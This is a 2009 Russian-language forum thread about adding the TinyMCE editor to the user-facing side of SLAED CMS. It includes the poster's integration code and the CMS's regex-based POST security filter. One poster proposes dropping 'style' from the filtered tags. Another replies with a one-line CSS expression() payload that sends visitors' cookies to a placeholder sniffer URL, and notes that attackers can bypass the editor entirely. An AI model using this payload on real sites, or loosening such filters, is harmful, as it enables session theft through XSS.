Открыть Ответить

TinyMCE в пользовательскую часть

5.00

5.00

1
29.08.2009 14:07:15

Кто-нибудь пробовал сделать? И как это в плане безопасности?

SLAED CMS 2.6 Lite
PHP 5
Регистрация
09.04.2008
Пол
Мужчина
Предупреждения
Нет
septron
septron
3.69

3.69

29.08.2009 17:26:38

septron, а чего тут особо пробовать, на более ранних версиях так и было сделано, вместо ВВ редактора стояла Тина.
И сейчас это не представляет особых проблем.
Вот только очень не советую давать полный доступ ко всем возможностям редактора, тем более к загрузке файлов на сервер - возможен XSS, и соответственно взлом.
Посетителям можно дать доступ к простейшим функциям, например форматирование шрифта и цвета, а пользователям можно дать доступ к более серьезным функциям.
Но в плане загрузки файлов на сервер - эти редакторы не безопасны...

Группа
Супермодераторы
Пункты
1595
Регистрация
18.09.2008
Пол
Мужчина
Из
Россия
Предупреждения
Нет
GRAFLEKX
GRAFLEKX
3.92

3.92

29.08.2009 17:46:19

GRAFLEKX, работодатель попросил перенести в пользовательскую часть на сайте организации... Визуально им проще текст форматировать, с bb-редактором даже картинку не все могут вставить. Подскажите, если не трудно, в Про версиях их же вроде даже из панели администрирования можно выбирать для пользовательской части...

Попробовал локально... в modules/Pages/index.php добавил функцию



function NewsRedaktor() {
    global $admin_file;
     
echo "<script type=\"text/javascript\" src=\"modules/tiny_mce/tiny_mce.js\"></script>
<script type=\"text/javascript\">
	tinyMCE.init({
		mode : \"textareas\",
		theme : \"advanced\",
		plugins : \"safari,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template\",
		
		theme_advanced_buttons1 : \"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,fontselect,fontsizeselect\",
		theme_advanced_buttons2 : \"bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code\",
		theme_advanced_buttons3 : \"save,newdocument,|,cut,copy,paste,pastetext,pasteword,|,search,replace,|,forecolor,backcolor,|,preview\",
		theme_advanced_buttons4 : \"hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen\",
		theme_advanced_buttons5 : \"tablecontrols\",
		theme_advanced_buttons6 : \"insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak\",
		
		theme_advanced_toolbar_location : \"top\",
		theme_advanced_toolbar_align : \"center\",
		theme_advanced_statusbar_location : \"bottom\",
		theme_advanced_resizing : true,
		
		language: \"".substr(_LOCALE, 0, 2)."\",
		content_css : \"css/content.css\",
		
		template_external_list_url : \"lists/template_list.js\",
		external_link_list_url : \"lists/link_list.js\",
		external_image_list_url : \"lists/image_list.js\",
		media_external_list_url : \"lists/media_list.js\",
		
		template_replace_values : {
			username : \"Some User\",
			staffid : \"991234\"
		}
	});
</script>"
."<center><textarea id=\"elm1\" name=\"elm1\" cols=\"100\" rows=\"25\"></textarea></center>";

}


в функции function add_pages() убрал ".get_code("area")." и ".get_code("area1")." ну и вызов функции NewsRedaktor(); соответственно. Редактор в добавлении статьи появился, но при отправке отформатированного текста фильтры не пускают.

SLAED CMS 2.6 Lite
PHP 5
Регистрация
09.04.2008
Пол
Мужчина
Предупреждения
Нет
septron
septron
3.69

3.69

29.08.2009 21:00:30 29.08.2009 21:01:11

Тэкс.. за фильтрацию тэгов отвечает сей цикл в файле function/security.php



foreach ($_POST as $var_name=>$var_value) {
		if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|onmouseover).*?>/i", urldecode($var_value))) warn_report("HTML in POST - ".$var_name." = ". $var_value."");
		if ($security_url_post == 1) {
			if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value);
		}
		$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
		$security_decode = base64_decode($var_value);
		if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in POST - ".$var_name." = ". $var_value."");
		if (preg_match($security_string, $var_value)) hack_report("Hack in POST - ".$var_name." = ". $var_value."");
		$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
		if (preg_match($security_string, $security_slash)) hack_report("Hack in POST - ".$var_name." = ". $var_value."");
	
	}


Подскажите как его изменить для редактора, чтобы быть спокойным за свой сайт?

SLAED CMS 2.6 Lite
PHP 5
Регистрация
09.04.2008
Пол
Мужчина
Предупреждения
Нет
septron
septron
3.69

3.69

29.08.2009 21:06:01 29.08.2009 21:06:45

Я так думаю из

if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|onmouseover).*?>
только строку style убрать и всё... Большенство наиболее востребованных функций редактора будут работать... Как вы считаете на безопасности это не сильно скажется?

SLAED CMS 2.6 Lite
PHP 5
Регистрация
09.04.2008
Пол
Мужчина
Предупреждения
Нет
septron
septron
3.69

3.69

29.08.2009 23:07:05 29.08.2009 23:12:23

Ну давайте вместе подумаем, каким образом тегом style можно взломать сайт!!!
Нет накосячить конечно можно, например изменить стили на сайте, но что-то я вот не могу придумать как это можно сделать без внедрения этого тега в скрипт сайта.
Этот тег конечно будет использоваться в редакторе и внедряться в код самим редактором, но страшного пока ни чего не вижу.

Группа
Супермодераторы
Пункты
1595
Регистрация
18.09.2008
Пол
Мужчина
Из
Россия
Предупреждения
Нет
GRAFLEKX
GRAFLEKX
3.92

3.92

30.08.2009 13:32:50

Шутим? Использование style это уже ого-го дырка в безопасности. Взломать сайт это конечно можно, только не сразу. Вот так вот кстати делается:

style="background-image: url('http://example.com/sniffer.php&#063;cookie=' + expression(document.cookie));"


Вот так вот просто радостно забираем Cookie всех пользователей, которые просмотрят опубликованный пост.

Группа
Клиент
Регистрация
24.07.2006
Пол
Мужчина
Предупреждения
Нет
Furry
Furry
3.05

3.05

30.08.2009 14:24:48

Я уж к гостевой прикрутил... Что можно придумать в этой ситуации? В про версиях вроде как работает этот редактор в пользовательской части.

SLAED CMS 2.6 Lite
PHP 5
Регистрация
09.04.2008
Пол
Мужчина
Предупреждения
Нет
septron
septron
3.69

3.69

30.08.2009 22:26:33

Furry, это и дураку ясно, а теперь объясните мне каким образом Вы сможете прикрутить приведенный Вами пример через этот редактор (где для юзеров дается только урезанная версия)?

Группа
Супермодераторы
Пункты
1595
Регистрация
18.09.2008
Пол
Мужчина
Из
Россия
Предупреждения
Нет
GRAFLEKX
GRAFLEKX
3.92

3.92

31.08.2009 07:48:49

GRAFLEKX, пользователь (а вернее уже не пользователь, а натуральный атакующий) может отключить Javascript или отправить запрос на сервер через скрипт с сокетами, вобще даже не открывая страницу и не видя редактора. Важно то, что тэг style будет пропущен.

Группа
Клиент
Регистрация
24.07.2006
Пол
Мужчина
Предупреждения
Нет
Furry
Furry
3.05

3.05

Всего: 17 на 2 страницах по 10 на каждой странице

1 2
Открыть Ответить
Хотите опробовать SLAED CMS в действии?
Идеи и предложения
Обратная связь
Подтверждение

Поделиться
QR-код